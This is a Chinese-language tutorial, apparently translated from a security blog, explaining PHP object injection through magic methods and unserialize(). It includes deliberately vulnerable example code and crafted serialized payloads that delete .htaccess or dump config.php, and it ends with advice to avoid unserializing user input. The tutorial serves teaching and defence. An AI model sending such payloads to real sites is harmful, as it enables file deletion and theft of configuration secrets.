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詳析php對(duì)象注入漏洞

作者：路人甲
安全 漏洞
php對(duì)象注入是一個(gè)非常常見(jiàn)的漏洞，這個(gè)類型的漏洞雖然有些難以利用，但仍舊非常危險(xiǎn)，為了理解這個(gè)漏洞，請(qǐng)讀者具備基礎(chǔ)的php知識(shí)。

0x00 背景

php對(duì)象注入是一個(gè)非常常見(jiàn)的漏洞，這個(gè)類型的漏洞雖然有些難以利用，但仍舊非常危險(xiǎn)，為了理解這個(gè)漏洞，請(qǐng)讀者具備基礎(chǔ)的php知識(shí)。

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0x01 漏洞案例

如果你覺(jué)得這是個(gè)渣渣洞，那么請(qǐng)看一眼這個(gè)列表，一些被挖到過(guò)該漏洞的系統(tǒng)，你可以發(fā)現(xiàn)都是一些耳熟能詳?shù)耐嬉?就國(guó)外來(lái)說(shuō))

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系統(tǒng)，八成可能大概在這些還有其他的php程序中還有很多這種類型的漏洞，所以不妨考慮坐下喝杯咖啡并且試著去理解這篇文章。

0x01 PHP類和對(duì)象

類和變量是非常容易理解的php概念，打個(gè)比方，下面的代碼在一個(gè)類中定義了一個(gè)變量和一個(gè)方法。

  1. <?php  
  2.    
  3. class TestClass  
  4. {  
  5.     // 一個(gè)變量  
  6.    
  7.     public $variable = 'This is a string';  
  8.    
  9.     // 一個(gè)簡(jiǎn)單的方法  
  10.    
  11.     public function PrintVariable()  
  12.     {  
  13.         echo $this->variable;  
  14.     }  
  15. }  
  16.    
  17. // 創(chuàng)建一個(gè)對(duì)象  
  18.    
  19. $object = new TestClass();  
  20.    
  21. // 調(diào)用一個(gè)方法  
  22.    
  23. $object->PrintVariable();  
  24.    
  25. ?> 

它創(chuàng)建了一個(gè)對(duì)象并且調(diào)用了 PrintVariable 函數(shù)，該函數(shù)會(huì)輸出變量 variable。

如果想了解更多關(guān)于php面向?qū)ο缶幊痰闹R(shí) 請(qǐng)點(diǎn)： http://php.net/manual/zh/language.oop5.php

0x02 php magic方法

php類可能會(huì)包含一些特殊的函數(shù)叫magic函數(shù)，magic函數(shù)命名是以符號(hào)“__”開(kāi)頭的，比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

這些函數(shù)在某些情況下會(huì)自動(dòng)調(diào)用，比如:

__construct 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)調(diào)用 (constructor) __destruct 當(dāng)一個(gè)對(duì)象被銷毀時(shí)調(diào)用 (destructor) __ toString當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用

為了更好的理解magic方法是如何工作的，讓我們添加一個(gè)magic方法在我們的類中。

  1. <?php  
  2.    
  3. class TestClass  
  4. {  
  5.     // 一個(gè)變量  
  6.    
  7.     public $variable = 'This is a string';  
  8.    
  9.     // 一個(gè)簡(jiǎn)單的方法  
  10.    
  11.     public function PrintVariable()  
  12.     {  
  13.         echo $this->variable . '<br />';  
  14.     }  
  15.    
  16.     // Constructor  
  17.    
  18.     public function __construct()  
  19.     {  
  20.         echo '__construct <br />';  
  21.     }  
  22.    
  23.     // Destructor  
  24.    
  25.     public function __destruct()  
  26.     {  
  27.         echo '__destruct <br />';  
  28.     }  
  29.    
  30.     // Call  
  31.    
  32.     public function __toString()  
  33.     {  
  34.         return '__toString<br />';  
  35.     }  
  36. }  
  37.    
  38. // 創(chuàng)建一個(gè)對(duì)象  
  39. //  __construct會(huì)被調(diào)用  
  40.    
  41. $object = new TestClass();  
  42.    
  43. // 創(chuàng)建一個(gè)方法  
  44. //  'This is a string’ 這玩意會(huì)被輸出  
  45.    
  46. $object->PrintVariable();  
  47.    
  48. // 對(duì)象被當(dāng)作一個(gè)字符串  
  49. //  __toString 會(huì)被調(diào)用  
  50.    
  51. echo $object;  
  52.    
  53. // End of PHP script  
  54. // php腳本要結(jié)束了， __destruct會(huì)被調(diào)用  
  55.    
  56. ?> 

我們往里頭放了三個(gè) magic方法，__construct, __destruct和 __toString，你可以看出來(lái)，__construct在對(duì)象創(chuàng)建時(shí)調(diào)用， __destruct在php腳本結(jié)束時(shí)調(diào)用，__toString在對(duì)象被當(dāng)作一個(gè)字符串使用時(shí)調(diào)用。

這個(gè)腳本會(huì)輸出這狗樣：

__construct

This is a string

__toString

__destruct

這只是一個(gè)簡(jiǎn)單的例子，如果你想了解更多有關(guān)magic函數(shù)的例子，請(qǐng)點(diǎn)擊下面的鏈接：

http://php.net/manual/zh/language.oop5.magic.php

0x03 php對(duì)象序列化

php允許保存一個(gè)對(duì)象方便以后重用，這個(gè)過(guò)程被稱為序列化，打個(gè)比方，你可以保存一個(gè)包含著用戶信息的對(duì)象方便等等重用。

為了序列化一個(gè)對(duì)象，你需要調(diào)用 “serialize”函數(shù)，函數(shù)會(huì)返回一個(gè)字符串，當(dāng)你需要用到這個(gè)對(duì)象的時(shí)候可以使用“unserialize”去重建對(duì)象。

讓我們?cè)谛蛄谢瘉G進(jìn)那個(gè)例子，看看序列化長(zhǎng)什么樣。

  1. <?php  
  2.    
  3. // 某類  
  4.    
  5. class User  
  6. {  
  7.     // 類數(shù)據(jù)  
  8.    
  9.     public $age = 0;  
  10.     public $name = '';  
  11.    
  12.     // 輸出數(shù)據(jù)  
  13.    
  14.     public function PrintData()  
  15.     {  
  16.         echo 'User ' . $this->name . ' is ' . $this->age  
  17.              . ' years old. <br />';  
  18.     }  
  19. }  
  20.    
  21. // 創(chuàng)建一個(gè)對(duì)象  
  22.    
  23. $usr = new User();  
  24.    
  25. // 設(shè)置數(shù)據(jù)  
  26.    
  27. $usr->age = 20;  
  28. $usr->name = 'John';  
  29.    
  30. // 輸出數(shù)據(jù)  
  31.    
  32. $usr->PrintData();  
  33.    
  34. // 輸出序列化之后的數(shù)據(jù)  
  35.    
  36. echo serialize($usr);  
  37.    
  38. ?> 

它會(huì)輸出

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的數(shù)據(jù)中 有 20和John，其中沒(méi)有任何跟類有關(guān)的東西，只有其中的數(shù)據(jù)被數(shù)據(jù)化。

為了使用這個(gè)對(duì)象，我們用unserialize重建對(duì)象。

  1. <?php  
  2.    
  3. // 某類  
  4.    
  5. class User  
  6. {  
  7.     // Class data  
  8.    
  9.     public $age = 0;  
  10.     public $name = '';  
  11.    
  12.     // Print data  
  13.    
  14.     public function PrintData()  
  15.     {  
  16.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  17.     }  
  18. }  
  19.    
  20. // 重建對(duì)象  
  21.    
  22. $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  
  23.    
  24. // 調(diào)用PrintData 輸出數(shù)據(jù)  
  25.    
  26. $usr->PrintData();  
  27.    
  28. ?> 

這會(huì)輸出

User John is 20 years old

0x04 序列化magic函數(shù)

magic函數(shù)constructor (__construct)和 destructor (__destruct) 是會(huì)在對(duì)象創(chuàng)建或者銷毀時(shí)自動(dòng)調(diào)用，其他的一些magic函數(shù)會(huì)在serialize 或者 unserialize的時(shí)候被調(diào)用。

__sleep magic方法在一個(gè)對(duì)象被序列化的時(shí)候調(diào)用。 __wakeup magic方法在一個(gè)對(duì)象被反序列化的時(shí)候調(diào)用。

注意 __sleep 必須返回一個(gè)數(shù)組與序列化的變量名。

  1. <?php  
  2.    
  3. class Test  
  4. {  
  5.     public $variable = 'BUZZ';  
  6.     public $variable2 = 'OTHER';  
  7.    
  8.     public function PrintVariable()  
  9.     {  
  10.         echo $this->variable . '<br />';  
  11.     }  
  12.    
  13.     public function __construct()  
  14.     {  
  15.         echo '__construct<br />';  
  16.     }  
  17.    
  18.     public function __destruct()  
  19.     {  
  20.         echo '__destruct<br />';  
  21.     }  
  22.    
  23.     public function __wakeup()  
  24.     {  
  25.         echo '__wakeup<br />';  
  26.     }  
  27.    
  28.     public function __sleep()  
  29.     {  
  30.         echo '__sleep<br />';  
  31.    
  32.         return array('variable', 'variable2');  
  33.     }  
  34. }  
  35.    
  36. // 創(chuàng)建一個(gè)對(duì)象，會(huì)調(diào)用 __construct  
  37.    
  38. $obj = new Test();  
  39.    
  40. // 序列化一個(gè)對(duì)象，會(huì)調(diào)用 __sleep  
  41.    
  42. $serialized = serialize($obj);  
  43.    
  44. //輸出序列化后的字符串  
  45.    
  46. print 'Serialized: ' . $serialized . <br />';  
  47.    
  48. // 重建對(duì)象，會(huì)調(diào)用 __wakeup  
  49.    
  50. $obj2 = unserialize($serialized);  
  51.    
  52. //調(diào)用 PintVariable, 會(huì)輸出數(shù)據(jù) (BUZZ)  
  53.    
  54. $obj2->PrintVariable();  
  55.    
  56. // php腳本結(jié)束，會(huì)調(diào)用 __destruct   
  57.    
  58. ?> 

這玩意會(huì)輸出：

__construct

__sleep

Serialized: O:4:"Test":2:

{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}

__wakeup

BUZZ

__destruct

__destruct

你可以看到，我們創(chuàng)建了一個(gè)對(duì)象，序列化了它(然后__sleep被調(diào)用)，之后用序列化對(duì)象重建后的對(duì)象創(chuàng)建了另一個(gè)對(duì)象，接著php腳本結(jié)束的時(shí)候兩個(gè)對(duì)象的__destruct都會(huì)被調(diào)用。

更多相關(guān)的內(nèi)容

http://php.net/manual/zh/language.oop5.serialization.php

0x05 php對(duì)象注入

現(xiàn)在我們理解了序列化是如何工作的，我們?cè)撊绾卫盟?事實(shí)上，利用這玩意的可能性有很多種，關(guān)鍵取決于應(yīng)用程序的流程與，可用的類，與magic函數(shù)。

記住序列化對(duì)象的值是可控的。

你可能會(huì)找到一套web程序的源代碼，其中某個(gè)類的__wakeup 或者 __destruct and其他亂七八糟的函數(shù)會(huì)影響到web程序。

打個(gè)比方，我們可能會(huì)找到一個(gè)類用于臨時(shí)將日志儲(chǔ)存進(jìn)某個(gè)文件，當(dāng)__destruct被調(diào)用時(shí)，日志文件會(huì)被刪除。

  1. <?php   
  2.    
  3. class LogFile  
  4. {  
  5.     // log文件名  
  6.    
  7.     public $filename = 'error.log';  
  8.    
  9.     // 某代碼，儲(chǔ)存日志進(jìn)文件  
  10.    
  11.     public function LogData($text)  
  12.     {  
  13.         echo 'Log some data: ' . $text . '<br />';  
  14.         file_put_contents($this->filename, $text, FILE_APPEND);  
  15.     }  
  16.    
  17.     // Destructor 刪除日志文件  
  18.    
  19.     public function __destruct()  
  20.     {  
  21.         echo '__destruct deletes "' . $this->filename . '" file. <br />';  
  22.         unlink(dirname(__FILE__) . '/' . $this->filename);  
  23.     }  
  24. }  
  25.    
  26. ?> 

某例子關(guān)于如何使用這個(gè)類

  1. <?php  
  2.    
  3. include 'logfile.php';  
  4.    
  5. // 創(chuàng)建一個(gè)對(duì)象  
  6.    
  7. $obj = new LogFile();  
  8.    
  9. // 設(shè)置文件名和要儲(chǔ)存的日志數(shù)據(jù)  
  10.    
  11. $obj->filename = 'somefile.log';  
  12. $obj->LogData('Test');  
  13.    
  14. // php腳本結(jié)束啦，__destruct被調(diào)用，somefile.log文件被刪除。  
  15.    
  16. ?> 

在其他的腳本，我們可能又恰好找到一個(gè)調(diào)用“unserialize”函數(shù)的，并且恰好變量是用戶可控的，又恰好是$_GET之類的。

  1. <?php  
  2.    
  3. include 'logfile.php';  
  4.    
  5. // ... 一些狗日的代碼和 LogFile 類 ...  
  6.    
  7. // 簡(jiǎn)單的類定義  
  8.    
  9. class User  
  10. {  
  11.     // 類數(shù)據(jù)  
  12.    
  13.     public $age = 0;  
  14.     public $name = '';  
  15.    
  16.     // 輸出數(shù)據(jù)  
  17.    
  18.     public function PrintData()  
  19.     {  
  20.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  21.     }  
  22. }  
  23.    
  24. // 重建 用戶輸入的 數(shù)據(jù)  
  25.    
  26. $usr = unserialize($_GET['usr_serialized']);  
  27.    
  28. ?> 

你看，這個(gè)代碼調(diào)用了 “LogClass” 類，并且有一個(gè) “unserialize” 值是我們可以注入的。

所以構(gòu)造類似這樣的東西：

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟發(fā)生了什么呢，因?yàn)檩斎胧强煽氐?，所以我們可以?gòu)造任意的序列化對(duì)象，比如：

  1. <?php  
  2.    
  3. $obj = new LogFile();  
  4. $obj->filename = '.htaccess';  
  5.    
  6. echo serialize($obj) . '<br />';  
  7.    
  8. ?> 

這個(gè)會(huì)輸出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

__destruct deletes ".htaccess" file.

現(xiàn)在我們將構(gòu)造過(guò)后的序列化對(duì)象發(fā)送給剛才的腳本：

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

這會(huì)輸出

__destruct deletes ".htaccess" file.

現(xiàn)在 .htaccess 已經(jīng)被干掉了，因?yàn)槟_本結(jié)束時(shí) __destruct會(huì)被調(diào)用。不過(guò)我們已經(jīng)可以控制“LogFile”類的變量啦。

這就是漏洞名稱的由來(lái)：變量可控并且進(jìn)行了unserialize操作的地方注入序列化對(duì)象，實(shí)現(xiàn)代碼執(zhí)行或者其他坑爹的行為。

雖然這不是一個(gè)很好的例子，不過(guò)我相信你可以理解這個(gè)概念，unserialize自動(dòng)調(diào)用 __wakeup 和 __destruct，接著攻擊者可以控制類變量，并且攻擊web程序。

0x06 常見(jiàn)的注入點(diǎn)

先不談 __wakeup 和 __destruct，還有一些很常見(jiàn)的注入點(diǎn)允許你利用這個(gè)類型的漏洞，一切都是取決于程序邏輯。

打個(gè)比方，某用戶類定義了一個(gè)__toString為了讓應(yīng)用程序能夠?qū)㈩愖鳛橐粋€(gè)字符串輸出(echo $obj) ,而且其他類也可能定義了一個(gè)類允許__toString讀取某個(gè)文件。

  1. <?php   
  2.    
  3. // … 一些include ...  
  4.    
  5. class FileClass  
  6. {  
  7.     // 文件名  
  8.    
  9.     public $filename = 'error.log';  
  10.    
  11.     //當(dāng)對(duì)象被作為一個(gè)字符串會(huì)讀取這個(gè)文件  
  12.    
  13.     public function __toString()  
  14.     {  
  15.         return file_get_contents($this->filename);  
  16.     }  
  17. }  
  18.    
  19. // Main User class  
  20.    
  21. class User  
  22. {  
  23.     // Class data  
  24.    
  25.     public $age = 0;  
  26.     public $name = '';  
  27.    
  28.     // 允許對(duì)象作為一個(gè)字符串輸出上面的data  
  29.    
  30.     public function __toString()  
  31.     {  
  32.         return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  33.     }  
  34. }  
  35.    
  36. // 用戶可控  
  37.    
  38. $obj = unserialize($_GET['usr_serialized']);  
  39.    
  40. // 輸出 __toString  
  41.    
  42. echo $obj;  
  43.    
  44. ?> 

so,我們構(gòu)造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想，如果我們用序列化調(diào)用 FileClass呢

我們創(chuàng)建利用代碼

  1. <?php  
  2.    
  3. $fileobj = new FileClass();  
  4. $fileobj->filename = 'config.php';  
  5.    
  6. echo serialize($fileobj);  
  7.    
  8. ?> 

接著用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接著網(wǎng)頁(yè)會(huì)輸出 config.php的源代碼

  1. <?php   
  2. $private_data = 'MAGIC';   
  3. ?> 

ps:我希望這讓你能夠理解。

0x07 其他的利用方法

可能其他的一些magic函數(shù)海存在利用點(diǎn)：比如__call 會(huì)在對(duì)象調(diào)用不存在的函數(shù)時(shí)調(diào)用，__get 和 __set會(huì)在對(duì)象嘗試訪問(wèn)一些不存在的類，變量等等時(shí)調(diào)用。

不過(guò)需要注意的是，利用場(chǎng)景不限于magic函數(shù)，也有一些方式可以在一半的函數(shù)中利用這個(gè)漏洞，打個(gè)比方，一個(gè)模塊可能定義了一個(gè)叫g(shù)et的函數(shù)進(jìn)行一些敏感的操作，比如訪問(wèn)數(shù)據(jù)庫(kù)，這就可能造成sql注入，取決于函數(shù)本身的操作。

唯一的一個(gè)技術(shù)難點(diǎn)在于，注入的類必須在注入點(diǎn)所在的地方，不過(guò)一些模塊或者腳本會(huì)使用“autoload”的功能，具體可以在這里了解

http://php.net/manual/zh/language.oop5.autoload.php

0x08 如何利用或者避免這個(gè)漏洞

別在任何用戶可控的地方使用“unserialize”，可以考慮“json_decode“

0x09 結(jié)論

雖然很難找到而且很難利用，但是這真的真的很嚴(yán)重，可以導(dǎo)致各種各樣的漏洞。

原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

責(zé)任編輯：藍(lán)雨淚 來(lái)源： 烏云知識(shí)庫(kù)
php對(duì)象注入漏洞
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